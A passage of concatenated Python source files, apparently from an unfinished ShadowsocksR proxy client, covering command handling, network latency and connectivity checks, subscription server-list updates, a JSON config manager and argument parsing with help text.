self.target.config_manager.cancel_auto_startup() print('set autostart') else: self.target.config_manager.set_auto_startup() print('cancel autostart') def autoswitch(self): autoswitch = self.target.config_manager.get_auto_switch_config() if autoswitch: self.target.config_manager.cancel_auto_switch() print('set autoswitch') else: self.target.config_manager.set_auto_switch() print('cancel autoswitch') def autoupdate(self): autoupdate = self.target.config_manager.get_auto_update_config() if autoupdate: self.target.config_manager.cancel_auto_update() print('set autoupdate') else: self.target.config_manager.set_auto_update() print('cancel autoupdate') def _import(self): if not self.args.c: print('config file is not set') pass def export(self): pass def user_chooice(options, message): # for i in range(len(options)): # print('%-2d ' % (i+1) + options[i]) print_server_info((decode_ssrlink(ssr) for ssr in options), indexed=True) print(message) return input() --- FILE SEPARATOR --- from shadowsocks.core import eventloop, tcprelay, udprelay, asyncdns, daemon from shadowsocks.lib import shell, socks import socket import logging import time import threading import os import sys import signal class Network: def singnal1_handler(self, signum, frame): pass def singnal2_handler(self, signum, frame): pass class ClientNetwork(Network): def __init__(self, config, alarm_period=20): # initialize dns_resolver, loop self.tcp_server = None self.udp_server = None self.dns_resolver = None self.loop = None self.config = None self.alarm_period = alarm_period self.loop = eventloop.EventLoop() self.dns_resolver = asyncdns.DNSResolver() self.dns_resolver.add_to_loop(self.loop) if config is not None: self.init(config) def init(self, config): self.config = config self.tcp_server = tcprelay.TCPRelay(config, self.dns_resolver, True) self.udp_server = udprelay.UDPRelay(config, self.dns_resolver, True) self.tcp_server.add_to_loop(self.loop) self.udp_server.add_to_loop(self.loop) def start(self): assert self.loop is not None config = self.config if not config.get('dns_ipv6', False): asyncdns.IPV6_CONNECTION_SUPPORT = False logging.info( "local start with protocol [%s] password [%s] method [%s] obfs [%s] obfs_param [%s]" % (config['protocol'], config['password'], config['method'], config['obfs'], config['obfs_param'])) try: logging.info("starting local at %s:%d" % (config['local_address'], config['local_port'])) signal.signal(getattr(signal, 'SIGQUIT', signal.SIGTERM), self.manager) signal.signal(signal.SIGINT, self.manager) daemon.set_user(config.get('user', None)) signal.signal(shell.SIGNAL2, self.manager) if sys.platform == 'win32': # set timer for Windows: threading.Thread(target=self.period_network_check).start() else: # set timer for unix-like system: # NOTE: if not add SIGALRM to manager, program will auto quit somehow. signal.signal(signal.SIGALRM, self.manager) # NOTE: 每次執行完網絡檢查後在重新設置alarm,而不是設置固定的interval, # 避免檢查時間過長導致段時間內高頻率檢查 # signal.setitimer(signal.ITIMER_REAL, self.alarm_period, self.manager) signal.alarm(self.alarm_period) threading.Thread(target=self.loop.run).start() latency = self.ping(config['server'], int(config['server_port'])) print('latency: {}'.format(latency)) except Exception as e: shell.print_exception(e) sys.exit(1) def stop(self): # TODO: use only one single to toggle pause/resume """close tcp_server, udp_server.""" os.kill(os.getpid(), shell.SIGNAL2) def restart(self): os.kill(os.getpid(), shell.SIGNAL2) def switch(self, config): self.stop() # FIXME: why if we remove print here, it will throw address already in use error? # That's weird, or just a miracle? # print('print it to prevent address already in use error') logging.info('print it to prevent address already in use error') self.init(config) self.restart() def manager(self, signum, frame): # TODO: SIGNAL1 to toggle loop status, for saving limited SIGNAL numbers. # SIGNAL1 is for client to updat config, SIGNAL2 is for network to switch connection. if signum == shell.SIGNAL2: # pause eventloop. if self.loop.is_paused(): self.loop.resume() else: self.loop.pause() self.tcp_server.close() # test use, just pause, not stop self.udp_server.close() elif signum == signal.SIGQUIT or signum == signal.SIGTERM: logging.warn('received SIGQUIT, doing graceful shutting down..') self.stop() elif signum == signal.SIGINT: sys.exit(1) elif signum == signal.SIGALRM: # print('received timer alarm', time.ctime()) # print('trying to ping baidu.com') # latency = self.ping('www.baidu.com', True) # print('latency to baidu.com is', latency) # if latency is None: # self._throw_network_error_signal() if not self.connectivity(): logging.info('Network error detected, trying to switch a server') self._throw_network_error_signal() signal.alarm(self.alarm_period) def connectivity(self, hosts=None): """test connectivity to host (or hosts if iterable).""" if hosts is None: hosts = ['www.google.com', 'www.github.com', 'www.baidu.com'] elif isinstance(hosts, str): hosts = [hosts] hosts = ['www.gogole.com'] # otherwise we assume hosts is iterable. for i in range(3): # print('range', i) for host in hosts: s = socks.socksocket() s.set_proxy(socks.SOCKS5, '127.0.0.1', 1080) s.settimeout(10) try: s.connect((host, 80)) start_time = time.time() s.sendall('GET / HTTP/1.1\nHost: {}\n\n'.format(host).encode('utf-8')) data = s.recv(1) if data: # print(data, time.time() - start_time) return True except Exception: pass finally: s.close() return False def _throw_network_error_signal(self): os.kill(os.getpid(), shell.SIGNAL1) def ping(self, host, port, with_socks=False): """return None if cannnot connect.""" latency = [] for i in range(5): s = socks.socksocket() # FIXME: if set proxy, the connect time why is so small; and otherwise it's normal # 難道是那個時候並沒有真正連接? # s.setblocking(False) if with_socks is True: # s.set_proxy(socks.SOCKS5, '127.0.0.1', 1080) # TODO: change to local addr/port s.set_proxy(socks.SOCKS5, self.config['local_address'], self.config['local_port']) s.settimeout(2) # TODO: 解析ip,避免將解析ip的時間加入 try: start_time = time.time() s.connect((host, port)) s.send(b'0') latency_ = time.time() - start_time # print('latency to {}: {}'.format(host, latency_ * 1000)) latency.append(latency_) # print('sleeping') # time.sleep(100) except Exception: # FIXME: socks module will not throw error even no network connection!! # So we need other way to detect connection failure. pass finally: s.close() # return None # TODO: test use if not latency: return None else: return 1000 * sum(latency) / len(latency) def period_network_check(self): """this is for windows timer check.""" time.sleep(self.alarm_period) if not self.connectivity(): logging.error('Network error detected, tring to switch a server') # self._throw_network_error_signal() # TODO: # we directly switch here, do not send signal to service. # if self.config threading.Thread(target=self.period_network_check).start() sys.exit(0) def ping(host, port): """return None if cannnot connect.""" latency = [] for i in range(5): s = socket.socket() s.settimeout(2) # TODO: 解析ip,避免將解析ip的時間加入 try: start_time = time.time() s.connect((host, port)) s.send(b'0') latency_ = time.time() - start_time latency.append(latency_) except Exception as e: # print(e) pass finally: s.close() if not latency: # return inf if can not connect return float('inf') else: return 1000 * sum(latency) / len(latency) --- FILE SEPARATOR --- from shadowsocks.core import daemon, network, command from shadowsocks.lib import shell, ssrlink from shadowsocks.lib.config import ClientConfigManager from shadowsocks.lib.ssrlink import decode_ssrlink from shadowsocks.plugins.subscribe import fetch_ssr from shadowsocks.lib.shell import print_server_info import logging from datetime import date import signal class Service: def __init__(self): self.config_manager = None self.config = None self.server_link = None pass class Client(Service): def __init__(self): super().__init__() def start(self): args = shell.parse_args() signal.signal(shell.SIGNAL1, self.manager) # TODO: when receive SIGNAL1, read a temp file encoded by pickle to get args; # and then execute correspond commmand in this process. if args.command: if args.c: config_path = args.c else: config_path = shell.find_config(True) # In cmd mode, we always load config from config file. # And we intentionally do not parse_config for possibly missing some arguments. logging.debug('loading config from: {}'.format(config_path)) self.config_manager = ClientConfigManager(config_path) if self.config_manager.get_auto_update_config() and \ (self.config_manager.get_last_update_time() != date.today().strftime('%Y-%m-%d')): logging.info('checking feed update') self.fetch_server_list() command.Commands(args.command, self, args) else: # old procedure config = shell.parse_config(True) daemon.daemon_exec(config) self.network = network.ClientNetwork(config) self.network.start() def add_feed_source(self, addr): self.config_manager.add_subscription(addr) self.fetch_server_list() # self.config_manager.fetch_server_list() def get_source_list(self): # self.config_manager.clear() sources = self.config_manager.get_subscription() return sources def get_server_list(self): servers = self.config_manager.get_server() return servers def get_dead_server_list(self): return self.config_manager.get_dead_server_list() def get_server_by_addr(self, addr): links = self.get_server_list() for link in links: server = ssrlink.decode_ssrlink(link) if server['server'] == addr: return link def print_server_list(self, ssrs, header=None, indexed=True, verbose=True, hightlight=True): shell.print_server_info((decode_ssrlink(link) for link in ssrs)) for ssr in ssrs: server = decode_ssrlink(ssr) print_server_info(server) def fetch_server_list(self): sources = self.config_manager.get_subscription() servers = [] for addr in sources: try: servers.extend(fetch_ssr(addr)) except Exception: logging.error('fetching server list in {} failed'.format(addr)) servers = self.get_server_list( ) + servers # 把本地的server列表(已經去重)放在前面,去重的時候效率更高 i = len(servers) - 1 while i >= 0: j = i - 1 while 0 <= j < i < len(servers): if ssrlink.is_duplicated(servers[i], servers[j]): del servers[i] break else: j -= 1 i -= 1 self.config_manager.update_server_list(servers) today = date.today().strftime('%Y-%m-%d') self.config_manager.set_last_update_time(today) self.print_server_list( servers, header='*' * 20 + "SERVER LIST AFTER UPDATE" + '*' * 20) def switch_ssr(self, config): self.network.pause() import time time.sleep(10) self.network.resume() def random_switch_ssr(self): import random ssrs = self.get_server_list() ssr = random.choice(ssrs) config_from_link = decode_ssrlink(ssr) config = shell.parse_config(True, config_from_link) print_server_info(config, verbose=True, hightlight=True) self.network.switch(config) def manager(self, signum, frame): if signum == shell.SIGNAL1: # network error signal if self.config_manager.get_auto_switch_config(): # move this server to dead group # self.config_manager.set_server_dead(self.server_link) # switch ssr randomly if autoswitch is set. self.random_switch_ssr() --- FILE SEPARATOR --- #!/usr/bin/env python3 # -*- coding: utf-8 -*- """ Python module documentation. """ import json from datetime import date from shadowsocks.lib import ssrlink import os import sys _key_sep = '/' # seperator for recurive key, e.g. masterkey/subkey/subsubkey/... def check_config_path(): config_path = os.path.realpath(os.path.join(os.path.dirname(__file__), '../config')) if not os.path.exists(config_path): os.makedirs(config_path) def check_config(): """Check/handle (e.g. handle auto-startup if not done) according config file.""" # TODO: check_config_path() check_config() def load_before_read(func): """load config from file every read operation to make sure everything is up-to-date (though it cannot really ensure that).""" # FIXME: read/write safe when multi-processing def decorated(self, *args, **kwargs): if self._hold is False: self.read() result = func(self, *args, **kwargs) return result return decorated def save_on_change(func): def decorated(self, *args, **kwargs): result = func(self, *args, **kwargs) if self._hold is False: self.save() return result return decorated class Indicator: """Indicator for some case.""" _instance = None def __new__(cls): if Indicator._instance is None: Indicator._instance = super(Indicator, cls).__new__(cls) return Indicator._instance # class NoKey(UniqueObject): # pass def expand_key(d, keys): """return d[key] (key recursively), create indicates whether create recursively when no such key exists. keys can be a string, or a list.""" if isinstance(keys, str): keys = keys.split(_key_sep) cur = d for key_ in keys: if key_ == '': continue if key_ not in cur: raise Exception('no key: {} in {}'.format(key_, cur)) cur = cur[key_] return cur class BaseConfigManager: # TODO: single mode according to unique file. __version = '0.0.1' __pool = {} _platform = '' def __new__(cls, config_path=None, *args, **kwargs): if config_path is not None: real_path = os.path.realpath(config_path) if real_path in cls.__pool: return cls.__pool[real_path] return super(BaseConfigManager, cls).__new__(cls) def __init__(self, config_path=None, *args, **kwargs): self._hold = False # when this is set to true, config will not save on change. self.config = {} self.config_path = None if config_path is not None: self.load(config_path) def init(self, *args, **kwargs): """init when config file not exists, override by subclasses.""" pass def load(self, config_path): assert self.config_path is None # make sure that an instance only # work for one config. real_path = os.path.realpath(config_path) self.config_path = real_path if real_path not in self.__pool: if not os.path.exists(real_path): # if no such file, create it open(real_path, 'w') self.init() self.save() else: with open(real_path, 'r') as f: try: self.config = json.load(f) except json.decoder.JSONDecodeError as e: # TODO: print file content here print(e) choice = input("do you want to init config file? (yes/no)") if choice.lower() == 'yes': self.init() else: sys.exit(1) self.__pool[real_path] = self return self else: return self.__pool[real_path] def read(self): """read config from file.""" with open(self.config_path) as f: self.config = json.load(f) def save(self, config_path=None): if config_path is None: config_path = self.config_path assert self.config is not None with open(config_path, 'w+') as f: json.dump(self.config, f) def clear(self): """initialize" config.""" self.init() @save_on_change @load_before_read def create(self, key, value): """direct update whole self.config[key].""" keys = key.split(_key_sep) container = expand_key(self.config, keys[:-1]) container[keys[-1]] = value def update(self, key, value): self.create(key, value) @save_on_change @load_before_read def add(self, key, value): """this method is for when self.config[key] is a container.""" container = expand_key(self.config, key) if isinstance(container, list): container.append(value) elif isinstance(container, dict): container.update(value) elif isinstance(container, set): container.add(value) else: raise Exception('unknown container type ' + type(container)) @save_on_change @load_before_read def union(self, key, value): container = expand_key(self.config, key) if isinstance(container, list): container.extend(value) elif isinstance(container, dict): container.update(value) elif isinstance(container, set): container.update(value) else: raise Exception('unknown container type ' + type(container)) @load_before_read def get(self, key, value_=None): """return value with key or the default value if no such key.""" try: value = expand_key(self.config, key) except Exception: value = value_ # set to default value return value @save_on_change @load_before_read def remove(self, key, value=Indicator): """if value is set to Indicator, then del self.config[key], else delete value in self.config[key].""" if value is Indicator: keys = key.split(_key_sep) parent_key = expand_key(self.config, keys[:-1]) del parent_key[keys[-1]] else: container = expand_key(self.config, key) if isinstance(container, list): container.remove(value) elif isinstance(container, dict): del container[value] @property def version(self): return self.__version class ClientConfigManager(BaseConfigManager): _platform = 'client (ver: {})'.format(BaseConfigManager.version) def init(self, *args, **kwargs): self._hold = True self.config = {} self.create('/servers', {}) # TODO: priority queue self.create('/servers/alive', []) self.create('/servers/dead', []) self.create('/servers/temp', []) today = date.today().strftime('%Y-%m-%d') self.create('/subscriptions', {'auto_update': 1, 'list': [], 'last_update': today}) self.create('/auto_switch', 1) self.create('/auto_startup', 0) self._hold = False print('Initializing...') print(self.config) def get_server(self): # FIXME: it seems that get_server will reset config. return list(self.get('/servers/alive', [])) def add_server(self, ssr_addrs): if isinstance(ssr_addrs, str): self.add('/servers/alive', ssr_addrs) else: # if ssr_addrs is a container self.union('/servers/alive', ssr_addrs) def remove_server(self, link): servers = self.get_server() config = ssrlink.decode_ssrlink(link) addr, port = config['server'], config['server_port'] for link_ in servers: config_ = ssrlink.decode_ssrlink(link_) addr_, port_ = config_['server'], config_['server_port'] if addr == addr_ and port == port_: servers.remove(link_) self.update_server_list(servers) # maybe I should set a status flag in '/servers' list def get_dead_server_list(self): return self.get('/servers/dead') def add_dead_server(self, link): self.add('/servers/dead', link) def remove_dead_server(self, link): servers = self.get_dead_server_list() config = ssrlink.decode_ssrlink(link) addr, port = config['server'], config['server_port'] for link_ in servers: config_ = ssrlink.decode_ssrlink(link_) addr_, port_ = config_['server'], config_['server_port'] if addr == addr_ and port == port_: servers.remove(link_) self.update_dead_server_list(servers) def update_dead_server_list(self, ssr_list): assert type(ssr_list) is list self.create('/servers/dead', ssr_list) def set_server_dead(self, link): self.remove_server(link) self.add_dead_server(link) def set_server_valid(self, link): self.remove_dead_server(link) self.add_server(link) def update_server_list(self, ssr_list): assert type(ssr_list) is list self.create('/servers/alive', ssr_list) def get_subscription(self): return list(self.get('/subscriptions/list')) def add_subscription(self, addrs): if isinstance(addrs, str): self.add('/subscriptions/list', addrs) else: self.union('/subscriptions/list', addrs) # TODO: here you need to really do the jobs. def set_auto_update(self): self.update('/subscriptions/auto_update', 1) def cancel_auto_update(self): self.update('/subscriptions/auto_update', 0) def get_auto_update_config(self): return self.get('/subscriptions/auto_update') def set_auto_switch(self): self.update('/auto_switch', 1) def cancel_auto_switch(self): self.update('/auto_switch', 0) def get_auto_switch_config(self): return self.get('/auto_switch') def set_auto_startup(self): self.update('/auto_startup', 1) def cancel_auto_startup(self): self.update('/auto_startup', 0) def get_auto_startup_config(self): return self.get('/auto_startup') def get_last_update_time(self): return self.get('/subscriptions/last_update', '1970-01-01') def set_last_update_time(self, date): self.update('/subscriptions/last_update', date) --- FILE SEPARATOR --- #!/usr/bin/python # -*- coding: utf-8 -*- # # Copyright 2015 clowwindy # # Licensed under the Apache License, Version 2.0 (the "License"); you may # not use this file except in compliance with the License. You may obtain # a copy of the License at # # http://www.apache.org/licenses/LICENSE-2.0 # # Unless required by applicable law or agreed to in writing, software # distributed under the License is distributed on an "AS IS" BASIS, WITHOUT # WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. See the # License for the specific language governing permissions and limitations # under the License. from __future__ import absolute_import, division, print_function, \ with_statement import os import json import sys import argparse import logging import signal from shadowsocks.core.common import to_bytes, to_str, IPNetwork, PortRange from shadowsocks.core import encrypt from shadowsocks.lib.ssrlink import decode_ssrlink VERBOSE_LEVEL = 5 verbose = 0 # SIGNAL1 is used to notify Service that current ssr network is poor; # SIGNAL2 is used to notify Network that current service has decided to switch ssr server. if sys.platform == 'win32': SIGNAL1 = signal.SIGILL SIGNAL2 = signal.SIGSEGV else: try: SIGNAL1 = signal.SIGUSR1 SIGNAL2 = signal.SIGUSR2 except Exception: logging.error('current os is not supported yet') def check_python(): info = sys.version_info if info[0] == 2 and not info[1] >= 6: print('Python 2.6+ required') sys.exit(1) elif info[0] == 3 and not info[1] >= 3: print('Python 3.3+ required') sys.exit(1) def check_config_path(): config_dir = os.path.realpath(os.path.join(os.path.dirname(__file__), '../config')) if not os.path.exists(config_dir): os.makedirs(config_dir) def check_log_path(): log_dir = os.path.realpath(os.path.join(os.path.dirname(__file__), '../log')) if not os.path.exists(log_dir): os.makedirs(log_dir) def startup_init(): """Check/handle (e.g. handle auto-startup if not done) according config file.""" # TODO: check_config_path() check_log_path() def print_exception(e): global verbose logging.error(e) if verbose > 0: import traceback traceback.print_exc() def __version(): version_str = '' try: import pkg_resources version_str = pkg_resources.get_distribution('shadowsocks').version except Exception: try: from shadowsocks.lib import version version_str = version.version() except Exception: pass return version_str def print_shadowsocks(): print('ShadowsocksR %s' % __version()) def log_shadowsocks_version(): logging.info('ShadowsocksR %s' % __version()) def find_config(cmd_mode=False): file_dir = os.path.dirname(os.path.realpath(__file__)) if cmd_mode: return os.path.realpath( os.path.join(file_dir, '../config/client-config.json')) else: # user_config_path = 'user-config.json' # config_path = 'config.json' # # def sub_find(file_name): # if os.path.exists(file_name): # return file_name # file_name = os.path.join(os.path.realpath('..'), file_name) # return file_name if os.path.exists(file_name) else None # # return sub_find(user_config_path) or sub_find(config_path) return os.path.realpath( os.path.join(file_dir, '../config/user-config.json')) def check_config(config, is_local): if config.get('daemon', None) == 'stop': # no need to specify configuration for daemon stop return if is_local and not config.get('password', None): logging.error('password not specified') print_help(is_local) sys.exit(2) if not is_local and not config.get('password', None) \ and not config.get('port_password', None): logging.error('password or port_password not specified') print_help(is_local) sys.exit(2) if 'local_port' in config: config['local_port'] = int(config['local_port']) if 'server_port' in config and type(config['server_port']) != list: config['server_port'] = int(config['server_port']) if config.get('local_address', '') in [b'0.0.0.0']: logging.warning( 'warning: local set to listen on 0.0.0.0, it\'s not safe') if config.get('server', '') in ['127.0.0.1', 'localhost']: logging.warning('warning: server set to listen on %s:%s, are you sure?' % (to_str(config['server']), config['server_port'])) if config.get('timeout', 300) < 100: logging.warning('warning: your timeout %d seems too short' % int( config.get('timeout'))) if config.get('timeout', 300) > 600: logging.warning('warning: your timeout %d seems too long' % int( config.get('timeout'))) if config.get('password') in [b'mypassword']: logging.error('DON\'T USE DEFAULT PASSWORD! Please change it in your ' 'config.json!') sys.exit(1) if config.get('user', None) is not None: if os.name != 'posix': logging.error('user can be used only on Unix') sys.exit(1) encrypt.try_cipher(config['password'], config['method']) def parse_config(is_local, config_=None): global verbose global config global config_path # config = {} # config_path = None logging.basicConfig( level=logging.INFO, format='%(levelname)-s: %(message)s') if is_local: # check this is a client or a server. shortopts = 'hd:s:b:p:k:l:m:O:o:G:g:c:t:L:vq' longopts = [ 'help', 'fast-open', 'link', 'pid-file=', 'log-file=', 'user=', 'version' ] else: shortopts = 'hd:s:p:k:m:O:o:G:g:c:t:vq' longopts = [ 'help', 'fast-open', 'pid-file=', 'log-file=', 'workers=', 'forbidden-ip=', 'user=', 'manager-address=', 'version' ] if config_: config.update(config_) else: args = parse_args() config['password'] = to_bytes(config.get('password', b'')) config['method'] = to_str(config.get('method', 'aes-256-cfb')) config['protocol'] = to_str(config.get('protocol', 'origin')) config['protocol_param'] = to_str(config.get('protocol_param', '')) config['obfs'] = to_str(config.get('obfs', 'plain')) config['obfs_param'] = to_str(config.get('obfs_param', '')) config['port_password'] = config.get('port_password', None) config['additional_ports'] = config.get('additional_ports', {}) config['additional_ports_only'] = config.get('additional_ports_only', False) config['timeout'] = int(config.get('timeout', 300)) config['udp_timeout'] = int(config.get('udp_timeout', 120)) config['udp_cache'] = int(config.get('udp_cache', 64)) config['fast_open'] = config.get('fast_open', False) config['workers'] = config.get('workers', 1) # config['pid-file'] = config.get('pid-file', '/var/run/shadowsocksr.pid') # config['log-file'] = config.get('log-file', '/var/log/shadowsocksr.log') config['pid-file'] = config.get('pid-file', '/tmp/shadowsocksr.pid') config['log-file'] = config.get('log-file', '/tmp/shadowsocksr.log') config['verbose'] = config.get('verbose', False) config['connect_verbose_info'] = config.get('connect_verbose_info', 0) config['local_address'] = to_str(config.get('local_address', '127.0.0.1')) config['local_port'] = config.get('local_port', 1080) if is_local: # FIXME: enable not provide server addr if daemon stop or restart # if config.get('server', None) is None and not args.command and (not args.d or args.d == 'starat'): # if config.get('server', None) is None: # logging.error('server addr not specified') # print_local_help() # sys.exit(2) # else: # config['server'] = to_str(config['server']) if 'server' in config: config['server'] = to_str(config['server']) else: config['server'] = to_str(config.get('server', '0.0.0.0')) try: config['forbidden_ip'] = \ IPNetwork(config.get('forbidden_ip', '127.0.0.0/8,::1/128')) except Exception as e: logging.error(e) sys.exit(2) try: config['forbidden_port'] = PortRange( config.get('forbidden_port', '')) except Exception as e: logging.error(e) sys.exit(2) try: config['ignore_bind'] = \ IPNetwork(config.get('ignore_bind', '127.0.0.0/8,::1/128,10.0.0.0/8,192.168.0.0/16')) except Exception as e: logging.error(e) sys.exit(2) config['server_port'] = config.get('server_port', 8388) logging.getLogger('').handlers = [] logging.addLevelName(VERBOSE_LEVEL, 'VERBOSE') if config['verbose'] >= 2: level = VERBOSE_LEVEL elif config['verbose'] == 1: level = logging.DEBUG elif config['verbose'] == -1: level = logging.WARN elif config['verbose'] <= -2: level = logging.ERROR else: level = logging.INFO verbose = config['verbose'] logging.basicConfig( level=level, format= '%(asctime)s %(levelname)-8s %(filename)s:%(lineno)s %(message)s', datefmt='%Y-%m-%d %H:%M:%S') check_config(config, is_local) return config def parse_args(args_=None): # FIXME: called twice, service, parse_config def args_error( message): # TODO: print help information when invalid arguments nonlocal parser sys.stderr.write('error: %s\n'.format(message)) print('something wrong') parser.print_help() parser = argparse.ArgumentParser( description='A fast tunnel proxy that helps you bypass firewalls.', usage='ssclient command [OPTION]', epilog='Online help: <https://github.com/shadowsocks/shadowsocks>') # TODO: add conflicts of -L with others. # default to old version config path, if args.command is set, change it to new version config path parser.add_argument('-c', metavar='CONFIG', help='path to config file') parser.add_argument('-s', metavar='SERVER_ADDR', help='server address') parser.add_argument( '-p', metavar='SERVER_PORT', help='server port', default='8388') parser.add_argument( '-b', metavar='LOCAL_ADDR', help='local address', default='127.0.0.1') parser.add_argument( '-l', metavar='LOCAL_PORT', help='local port', default='1080') parser.add_argument('-k', metavar='PASSWORD', help='password') parser.add_argument( '-m', metavar='METHOD', help='encryption method', default='aes-256-cfb') parser.add_argument( '-O', metavar='PROTOCOL', help='protocol', default='http_simple') parser.add_argument( '-G', metavar='PROTOCOL_PARAM', help='protocol param', default='') parser.add_argument( '-o', metavar='OBFS', help='obfsplugin', default='http_simple') parser.add_argument( '-g', metavar='OBFS_PARAM', help='obfs param', default='') parser.add_argument( '-L', metavar='SSR_LINK', help='connect using ssr link') parser.add_argument( '-t', metavar='TIMEOUT', help='timeout in seconds', default=300) parser.add_argument( '--fast-open', action='store_true', help='use TCP_FAST_OPEN, requires Linux 3.7+') parser.add_argument( '-d', metavar='', help='daemon mode (start/stop/restart)', choices=['start', 'stop', 'restart']) parser.add_argument( '--pid-file', metavar='PID_FILE', help='pid file for daemon mode') parser.add_argument( '--log-file', metavar='LOG_FILE', help='log file daemon mode') parser.add_argument('--user', metavar='USER', help='run as user') parser.add_argument('--workers', metavar='WORKERS', default=1) parser.add_argument( '-v', '-vv', action='count', help='verbose mode', default=0) parser.add_argument('-q', '-qq', action='count', help='quiet mode') parser.add_argument( '--version', metavar='version', help='show version information') subparsers = parser.add_subparsers(dest='command', help='sub-commands') server_parser = subparsers.add_parser('server', help='xxx') feed_parser = subparsers.add_parser('feed', help='yyy') status_parser = subparsers.add_parser('status', help='show current status') config_parser = subparsers.add_parser('config', help='yyy') server_parser.add_argument('subcmd', help='server command') server_parser.add_argument( '-d', action='store_true', help='daemon mode (start/stop/restart)', ) server_parser.add_argument('-c', metavar='CONFIG', help='path to config file') server_parser.add_argument('-s', metavar='SERVER_ADDR', help='server address') server_parser.add_argument( '-p', metavar='SERVER_PORT', help='server port', default='8388') server_parser.add_argument( '-b', metavar='LOCAL_ADDR', help='local address', default='127.0.0.1') server_parser.add_argument( '-l', metavar='LOCAL_PORT', help='local port', default='1080') server_parser.add_argument('-k', metavar='PASSWORD', help='password') server_parser.add_argument( '-m', metavar='METHOD', help='encryption method', default='aes-256-cfb') server_parser.add_argument( '-O', metavar='PROTOCOL', help='protocol', default='http_simple') server_parser.add_argument( '-G', metavar='PROTOCOL_PARAM', help='protocol param', default='') server_parser.add_argument( '-o', metavar='OBFS', help='obfsplugin', default='http_simple') server_parser.add_argument( '-g', metavar='OBFS_PARAM', help='obfs param', default='') server_parser.add_argument( '-L', metavar='SSR_LINK', help='connect using ssr link') server_parser.add_argument( '-t', metavar='TIMEOUT', help='timeout in seconds', default=300) server_parser.add_argument( '--fast-open', action='store_true', help='use TCP_FAST_OPEN, requires Linux 3.7+') server_parser.add_argument('--user', metavar='USER', help='run as user') server_parser.add_argument('--workers', metavar='WORKERS', default=1) server_parser.add_argument('--addr', help='server address') feed_parser.add_argument( '--link', help='ssr link') # TODO: if no link, ask later. feed_parser.add_argument('subcmd', help='subscription command') feed_parser.add_argument('--source', help='souurce address') # status_parser.add_argument('subcmd', help='show current status') config_parser.add_argument('subcmd', help='show current status') config_parser.add_argument('-c', help='path to the import config file') config_parser.add_argument('-o', help='path to the :xport config file') if args_: args = parser.parse_args(args_) else: args = parser.parse_args() global verbose global config config = {} global config_path config_path = None logging.basicConfig( level=logging.INFO, format='%(levelname)-s: %(message)s') if args.version: print_shadowsocks() sys.exit(0) if args.c: # FIXME: enable default config_path if args.command: # if args.c == 'default': # config_path = find_config(True) # else: config_path = args.c else: # if args.c == 'default': # config_path = find_config(False) # else: config_path = args.c logging.debug('loading config from %s' % config_path) with open(config_path, 'rb') as f: try: config = parse_json_in_str( remove_comment(f.read().decode('utf8'))) except ValueError as e: logging.error('found an error in config.json: %s', str(e)) sys.exit(1) if config_path: config['config_path'] = config_path else: config['config_path'] = find_config(args.command) if args.p: config['server_port'] = int(args.p) if args.k: config['password'] = to_bytes(args.k) if args.l: config['local_port'] = int(args.l) if args.s: config['server'] = to_str(args.s) if args.m: config['method'] = to_str(args.m) if args.O: config['protocol'] = to_str(args.O) if args.o: config['obfs'] = to_str(args.o) if args.G: config['protocol_param'] = to_str(args.G) if args.g: config['obfs_param'] = to_str(args.g) if args.b: config['local_address'] = to_str(args.b) if args.t: config['timeout'] = int(args.t) # FIXME: # if key == '--fast-open': # config['fast_open'] = True if args.workers: config['workers'] = int(args.workers) # FIXME: # if key == '--manager-address': # config['manager_address'] = value if args.user: config['user'] = to_str(args.user) # FIXME: # if key == '--forbidden-ip': # config['forbidden_ip'] = to_str(value) if args.d: config['daemon'] = to_str(args.d) # FIXME: # if key == '--pid-file': # config['pid-file'] = to_str(value) # FIXME: # if key == '--log-file': # config['log-file'] = to_str(value) config['verbose'] = args.v if args.q: config['verbose'] -= 1 if args.L: config_from_ssrlink = decode_ssrlink(args.L) # config.update(config_from_ssrlink) config_from_ssrlink.update(config) config = config_from_ssrlink return args def print_help(is_local): if is_local: print_local_help() else: print_server_help() def print_local_help(): print('''A fast tunnel proxy that helps you bypass firewalls. usage: sslocal [OPTION]... You can supply configurations via either config file or command line arguments. Proxy options: -c CONFIG path to config file -s SERVER_ADDR server address -p SERVER_PORT server port, default: 8388 -b LOCAL_ADDR local binding address, default: 127.0.0.1 -l LOCAL_PORT local port, default: 1080 -k PASSWORD password -m METHOD encryption method, default: aes-256-cfb -o OBFS obfsplugin, default: http_simple -t TIMEOUT timeout in seconds, default: 300 --fast-open use TCP_FASTOPEN, requires Linux 3.7+ General options: -h, --help show this help message and exit -d start/stop/restart daemon mode --pid-file PID_FILE pid file for daemon mode --log-file LOG_FILE log file for daemon mode --user USER username to run as -v, -vv verbose mode -q, -qq quiet mode, only show warnings/errors --version show version information Online help: <https://github.com/shadowsocks/shadowsocks> ''') def print_server_help(): print('''usage: ssserver [OPTION]... A fast tunnel proxy that helps you bypass firewalls. You can supply configurations via either config file or command line arguments. Proxy options: -c CONFIG path to config file -s SERVER_ADDR server address, default: 0.0.0.0 -p SERVER_PORT server port, default: 8388 -k PASSWORD password -m METHOD encryption method, default: aes-256-cfb -o OBFS obfsplugin, default: http_simple -t TIMEOUT timeout in seconds, default: 300 --fast-open use TCP_FASTOPEN, requires Linux 3.7+ --workers WORKERS number of workers, available on Unix/Linux --forbidden-ip IPLIST comma seperated IP list forbidden to connect --manager-address ADDR optional server manager UDP address, see wiki General options: -h, --help show this help message and exit -d start/stop/restart daemon mode --pid-file PID_FILE pid file for daemon mode --log-file LOG_FILE log file for daemon mode --user USER username to run as -v, -vv verbose mode -q, -qq quiet mode, only show warnings/errors --version show version information Online help: <https://github.com/shadowsocks/shadowsocks> ''') def _decode_list(data): rv = [] for item in data: if hasattr(item, 'encode'): item = item.encode('utf-8') elif isinstance(item, list): item = _decode_list(item) elif isinstance(item, dict): item = _decode_dict(item) rv.append(item) return rv def _decode_dict(data): rv = {} for key, value in data.items(): if hasattr(value, 'encode'): value = value.encode('utf-8') elif isinstance(value, list): value = _decode_list(value) elif isinstance(value, dict): value = _decode_dict(value) rv[key] = value return rv class JSFormat: def __init__(self): self.state = 0 def push(self, ch): ch = ord(ch) if self.state == 0: if ch == ord('"'): self.state = 1 return to_str(chr(ch)) elif ch == ord('/'): self.state = 3 else: return to_str(chr(ch)) elif self.state == 1: if ch == ord('"'): self.state = 0 return to_str(chr(ch)) elif ch == ord('\\'): self.state = 2 return to_str(chr(ch)) elif self.state == 2: self.state = 1 if ch == ord('"'): return to_str(chr(ch)) return "\\" + to_str(chr(ch)) elif self.state == 3: if ch == ord('/'): self.state = 